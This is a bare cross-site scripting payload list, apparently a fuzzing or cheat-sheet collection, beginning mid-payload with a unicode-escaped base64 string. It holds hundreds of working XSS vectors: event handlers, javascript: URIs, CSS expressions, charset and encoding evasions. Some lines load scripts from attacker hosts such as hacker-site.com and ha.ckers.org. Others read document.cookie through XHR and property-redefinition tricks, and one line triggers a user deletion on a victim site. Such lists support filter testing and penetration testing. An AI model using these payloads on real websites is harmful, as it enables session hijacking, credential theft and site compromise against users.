0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');"></img>
</body>
</html>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> confirm(“XSS”); </SCRIPT>
<BODY ONLOAD=confirm("XSS")>
<BODY BACKGROUND="javascript:confirm('XSS')">
<IMG SRC="javascript:confirm('XSS');">
<IMG DYNSRC="javascript:confirm('XSS')">
<IMG LOWSRC="javascript:confirm('XSS')">
<IFRAME SRC=”http://hacker-site.com/xss.html”>
<LINK REL="stylesheet" HREF="javascript:confirm('XSS');">
<TABLE BACKGROUND="javascript:confirm('XSS')">
<TD BACKGROUND="javascript:confirm('XSS')">
<DIV STYLE="background-image: url(javascript:confirm('XSS'))">
<DIV STYLE="width: expression(confirm('XSS'));">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
&apos;;confirm(String.fromCharCode(88,83,83))//\&apos;;confirm(String.fromCharCode(88,83,83))//&quot;;confirm(String.fromCharCode(88,83,83))//\&quot;;confirm(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;confirm(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}
&lt;SCRIPT&gt;confirm(&apos;XSS&apos;)&lt;/SCRIPT&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;confirm(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&lt;BASE HREF=&quot;javascript:confirm(&apos;XSS&apos;);//&quot;&gt;
&lt;BGSOUND SRC=&quot;javascript:confirm(&apos;XSS&apos;);&quot;&gt;
&lt;BODY BACKGROUND=&quot;javascript:confirm(&apos;XSS&apos;);&quot;&gt;
&lt;BODY ONLOAD=confirm(&apos;XSS&apos;)&gt;
&lt;DIV STYLE=&quot;background-image: url(javascript:confirm(&apos;XSS&apos;))&quot;&gt;
&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:confirm(&apos;XSS&apos;))&quot;&gt;
&lt;DIV STYLE=&quot;width: expression(confirm(&apos;XSS&apos;));&quot;&gt;
<script ^__^>confirm(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/confirm(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="confirm(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='&lt;body onload=confirm&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:confirm(1)&NewLine;>X</a>
<script ~~~>confirm(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;confirm&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='confirm&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;confirm(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:confirm&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;confirm(1)
//<form/action=javascript&#x3A;confirm&lpar;document&period;cookie&rpar;><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=confirm(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:confirm(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=confirm(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>confirm&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='confirm&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)">
<a href="jAvAsCrIpT&colon;confirm&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="confirm(1)">On Mouse Over</var>
<a href=javascript&colon;confirm&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='confirm(1)'">
<%<!--'%><script>confirm(1);</script -->
<script src="data:text/javascript,confirm(1)"></script>
<iframe/src \/\/onload = confirm(1)
<iframe/onreadystatechange=confirm(1)
<svg/onload=confirm(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='confirm(1)'>X</div>
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=confirm(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript&colon;confirm(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+confirm(1)</script>
<body/onload=&lt;!--&gt;&#10confirm(1)>
<script itworksinallbrowsers>/*<script* */confirm(1)</script
<img src ?itworksonchrome?\/onerror = confirm(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> confirm(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> confirm(1) </script 1=2
<div/onmouseover='confirm(1)'> style="x:">
<--`<img/src=` onerror=confirm(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)" onclick="confirm(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;confirm(1)>CLICKME
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

'';!--"<XSS>=&{()}
'>//\\,<'>">">"*"
'); confirm('XSS
<script>confirm(1);</script>
<script>confirm('XSS');</script>
<IMG SRC=javascript:confirm('XSS')>
<IMG SRC=javascript:confirm(&quot;XSS&quot;)>
<IMG """><SCRIPT>confirm("XSS")</SCRIPT>">
<scr<script>ipt>confirm('XSS');</scr</script>ipt>
<script>confirm(String.fromCharCode(88,83,83))</script> 
<img src=foo.png onerror=confirm(/xssed/) />
<style>@im\port'\ja\vasc\ript:confirm(\"XSS\")';</style>
<? echo('<scr)'; echo('ipt>confirm(\"XSS\")</script>'); ?>
<marquee><script>confirm('XSS')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:confirm('XSS');\">
<IMG SRC=\"jav&#x0A;ascript:confirm('XSS');\">
<IMG SRC=\"jav&#x0D;ascript:confirm('XSS');\">
<IMG SRC=javascript:confirm(String.fromCharCode(88,83,83))>
"><script>confirm(0)</script>
<script src=http://yoursite.com/your_files.js></script>
</title><script>confirm(/xss/)</script>
</textarea><script>confirm(/xss/)</script>
<IMG LOWSRC=\"javascript:confirm('XSS')\">
<IMG DYNSRC=\"javascript:confirm('XSS')\">
<font style='color:expression(confirm(document.cookie))'>
<img src="javascript:confirm('XSS')">
<script language="JavaScript">confirm('XSS')</script>
<IMG SRC="jav&#x0D;ascript:confirm('XSS');">
perl -e 'print "<IMG SRC=java\0script:confirm(\"XSS\")>";' > out
<IMG SRC=" &#14; javascript:confirm('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>confirm("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:confirm('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";confirm('XSS');//
</TITLE><SCRIPT>confirm("XSS");</SCRIPT>
<STYLE>li {list-style-image: url("javascript:confirm('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=confirm('XSS')>
<BGSOUND SRC="javascript:confirm('XSS');">
<BR SIZE="&{confirm('XSS')}">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:confirm("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(confirm('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(confirm("XSS"))'>
<STYLE TYPE="text/javascript">confirm('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:confirm('XSS')");}</STYLE><A CLASS=XSS></A>
<XSS STYLE="xss:expression(confirm('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾confirm(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:confirm('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:confirm('XSS');">
<FRAMESET><FRAME SRC="javascript:confirm('XSS');"></FRAMESET>
<TABLE><TD BACKGROUND="javascript:confirm('XSS')">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:confirm('XSS'))">
 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>confirm("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>confirm('XSS')</SCRIPT>">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-confirm('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>confirm(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /**/>/**/confirm(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=confirm(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; confirm(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;confirm&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
</script><img/*/src="worksinchrome&colon;confirm&#x28;1&#x29;"/*/onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=confirm(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;confirm(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
http://www.google<script .com>confirm(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=confirm&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = confirm('&#49;')
<style/onload=confirm&#40;'&#88;&#83;&#83;'&#41;
<body oninput=javascript:confirm(1)><input autofocus>
<math href="javascript:javascript:confirm(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:confirm(1)">CLICKME</maction> </math>
<frameset onload=javascript:confirm(1)>
<table background="javascript:javascript:confirm(1)">
<!--<img src="--><img src=x onerror=javascript:confirm(1)//">
<comment><img src="</comment><img src=x onerror=javascript:confirm(1))//">
<![><img src="]><img src=x onerror=javascript:confirm(1)//">
<style><img src="</style><img src=x onerror=javascript:confirm(1)//">
<li style=list-style:url() onerror=javascript:confirm(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:confirm(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:confirm(1)//#">XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:confirm(1)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:confirm(1)"></OBJECT>
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
<b <script>confirm(1)</script>0
<div id="div1"><input value="``onmouseover=javascript:confirm(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
<x '="foo"><x foo='><img src=x onerror=javascript:confirm(1)//'>
<embed src="javascript:confirm(1)">
<img src="javascript:confirm(1)">
<image src="javascript:confirm(1)">
<script src="javascript:confirm(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:confirm(1)>x
<? foo="><script>javascript:confirm(1)</script>">
<! foo="><script>javascript:confirm(1)</script>">
</ foo="><script>javascript:confirm(1)</script>">
<? foo="><x foo='?><script>javascript:confirm(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:confirm(1)</script>">
<% foo><x foo="%><script>javascript:confirm(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:confirm(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="confirm(1)">
<img \x47src=x onerror="javascript:confirm(1)">
<img \x11src=x onerror="javascript:confirm(1)">
<img \x12src=x onerror="javascript:confirm(1)">
<img\x47src=x onerror="javascript:confirm(1)">
<img\x10src=x onerror="javascript:confirm(1)">
<img\x13src=x onerror="javascript:confirm(1)">
<img\x32src=x onerror="javascript:confirm(1)">
<img\x11src=x onerror="javascript:confirm(1)">
<img \x34src=x onerror="javascript:confirm(1)">
<img \x39src=x onerror="javascript:confirm(1)">
<img \x00src=x onerror="javascript:confirm(1)">
<img src\x09=x onerror="javascript:confirm(1)">
<img src\x10=x onerror="javascript:confirm(1)">
<img src\x13=x onerror="javascript:confirm(1)">
<img src\x32=x onerror="javascript:confirm(1)">
<img src\x12=x onerror="javascript:confirm(1)">
<img src\x11=x onerror="javascript:confirm(1)">
<img src\x00=x onerror="javascript:confirm(1)">
<img src\x47=x onerror="javascript:confirm(1)">
<img src=x\x09onerror="javascript:confirm(1)">
<img src=x\x10onerror="javascript:confirm(1)">
<img src=x\x11onerror="javascript:confirm(1)">
<img src=x\x12onerror="javascript:confirm(1)">
<img src=x\x13onerror="javascript:confirm(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"confirm(1)">
<img src=x onerror=\x09"javascript:confirm(1)">
<img src=x onerror=\x10"javascript:confirm(1)">
<img src=x onerror=\x11"javascript:confirm(1)">
<img src=x onerror=\x12"javascript:confirm(1)">
<img src=x onerror=\x32"javascript:confirm(1)">
<img src=x onerror=\x00"javascript:confirm(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:confirm(1)>XXX</a>
<img src="x` `<script>javascript:confirm(1)</script>"` `>
<img src onerror /" '"= alt=javascript:confirm(1)//">
<title onpropertychange=javascript:confirm(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:confirm(1)></a>">
<!--[if]><script>javascript:confirm(1)</script -->
<!--[if<img src=x onerror=javascript:confirm(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:confirm(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
<a style="-o-link:'javascript:javascript:confirm(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:confirm(1)'}{}*{-o-link-source:current}]{color:red};</style>
<link rel=stylesheet href=data:,*%7bx:expression(javascript:confirm(1))%7d
<style>@import "data:,*%7bx:expression(javascript:confirm(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:confirm(1);">XXX</a></a><a href="javascript:javascript:confirm(1)">XXX</a>
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo&#10;;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression\28javascript:confirm(1)\29>
<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:confirm(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:confirm(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
<x style="background:url('x&#1;;color:red;/*')">XXX</x>
<script>({set/**/$($){_/**/setter=$,_=javascript:confirm(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:confirm(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:confirm(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:confirm(1)')()</script>
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>confirm&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset="mac-farsi">¼script¾javascript:confirm(1)¼/script¾
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:confirm(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:confirm(1)&gt;`>
%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
' onmouseover=confirm(/Black.Spook/)
"><iframe%20src="http://google.com"%%203E
'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
x”</title><img src%3dx onerror%3dconfirm(1)>
<script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script>
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});confirm(Safe.get())</script>
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script>
<script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });confirm(Safe.get.apply(null, arguments));})();</script>
<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
<script>confirm(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
<script>confirm(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
<%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74>
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22);  xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{   var c;   if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) )    confirm(c[1]); }catch(e){} };  xdr.send(); </script>
<iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() {    return document.cookie }}); confirm(Safe.get());</script>
<script>confirm(document.head.innerHTML.substr(146,20));</script>
<script>confirm(document.head.childNodes[3].text)</script>
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){confirm(request.responseText.substr(150,41));}</script>
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});confirm(Safe.get())</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});confirm(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>
<script> document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true}); </script>
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click';  document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());} document.getElementById(%22safe123%22).click(test); </script>
<script>  (function (o) {   function exploit(x) {    if (x !== null)     confirm('User cookie is ' %2B x);    else     console.log('fail');   }      o.onclick = function (e) {    e.__defineGetter__('isTrusted', function () { return true; });    exploit(Safe.get());   };      var e = document.createEvent('MouseEvent');   e.initEvent('click', true, true);   o.dispatchEvent(e);  })(document.getElementById('safe123')); </script>
